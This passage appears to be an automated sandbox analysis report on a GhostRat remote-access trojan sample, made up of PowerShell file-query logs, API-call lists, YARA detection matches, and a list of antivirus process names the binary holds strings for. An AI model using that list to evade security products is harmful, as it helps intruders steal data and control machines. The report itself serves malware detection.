Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Code function: 0_2_10016BF4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_10016BF4

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D15D22 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

6_2_02D15D22

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D06A70 wsprintfW,GetCurrentProcessId,wsprintfW,_memset,GetVersionExW,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,wsprintfW,

6_2_02D06A70

Source: FIWszl1A8l.exe	Binary or memory string: acs.exe
Source: FIWszl1A8l.exe	Binary or memory string: kxetray.exe
Source: FIWszl1A8l.exe	Binary or memory string: avcenter.exe
Source: FIWszl1A8l.exe	Binary or memory string: vsserv.exe
Source: FIWszl1A8l.exe	Binary or memory string: KSafeTray.exe
Source: FIWszl1A8l.exe	Binary or memory string: cfp.exe
Source: FIWszl1A8l.exe	Binary or memory string: avp.exe
Source: FIWszl1A8l.exe	Binary or memory string: 360Safe.exe
Source: FIWszl1A8l.exe	Binary or memory string: 360tray.exe
Source: FIWszl1A8l.exe	Binary or memory string: rtvscan.exe
Source: FIWszl1A8l.exe	Binary or memory string: TMBMSRV.exe
Source: FIWszl1A8l.exe	Binary or memory string: ashDisp.exe
Source: FIWszl1A8l.exe	Binary or memory string: 360Tray.exe
Source: FIWszl1A8l.exe	Binary or memory string: avgwdsvc.exe
Source: FIWszl1A8l.exe	Binary or memory string: AYAgent.aye
Source: FIWszl1A8l.exe	Binary or memory string: RavMonD.exe
Source: FIWszl1A8l.exe	Binary or memory string: QUHLPSVC.EXE
Source: FIWszl1A8l.exe	Binary or memory string: Mcshield.exe
Source: FIWszl1A8l.exe	Binary or memory string: K7TSecurity.exe

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match	File source: 6.2.FIWszl1A8l.exe.27e1004.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.43105eb.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.41b486b.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.28205bf.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.27e1004.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2fd1053.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4142c4b.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a5ccab.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2d00000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a3c1eb.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2d00000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2fd1053.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.43105eb.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4173e13.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a5ccab.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.3fa4ebb.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4173e13.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.28205bf.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a2b043.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.3fa4ebb.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a3c1eb.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.41b486b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4142c4b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2570644353.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.3537866824.0000000004173000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1775024265.0000000004111000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3791271776.0000000004310000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3789481950.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2571249345.0000000003F9B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1743428014.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1775024265.0000000004142000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2529901329.00000000041B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3786854154.00000000027E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FIWszl1A8l.exe PID: 7852, type: MEMORYSTR

Remote Access Functionality

Yara detected GhostRat

Source: Yara match	File source: 6.2.FIWszl1A8l.exe.27e1004.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.43105eb.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.41b486b.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.28205bf.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.27e1004.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2fd1053.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4142c4b.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a5ccab.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2d00000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a3c1eb.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2d00000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.2fd1053.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.43105eb.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4173e13.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a5ccab.1.raw.unpack, type: UNPACKEDPE
